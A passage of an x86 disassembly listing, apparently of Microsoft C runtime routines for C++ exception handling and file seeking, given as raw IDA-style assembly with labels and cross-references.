eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE70, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; ___:004229F3p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC sub_4229B1 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_4228FD mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: ___:00422A1Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: ___:00422A14p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE68 mov [ebp+var_1C], ecx mov ecx, dword_4DBE6C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE68, edi mov ecx, [ebp+arg_8] mov dword_4DBE6C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: ___:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: ___:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: ___:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE68, eax mov eax, [ebp-20h] mov dword_4DBE6C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_28 = dword ptr -28h var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE74 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: ___:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: ___:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 nop call near ptr 2660000h loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: ___:0041DAF2p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD140 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDDC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 27A0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D call near ptr 269086Bh nop jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD040[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDDC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD140 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42314C loc_423145: ; CODE XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE 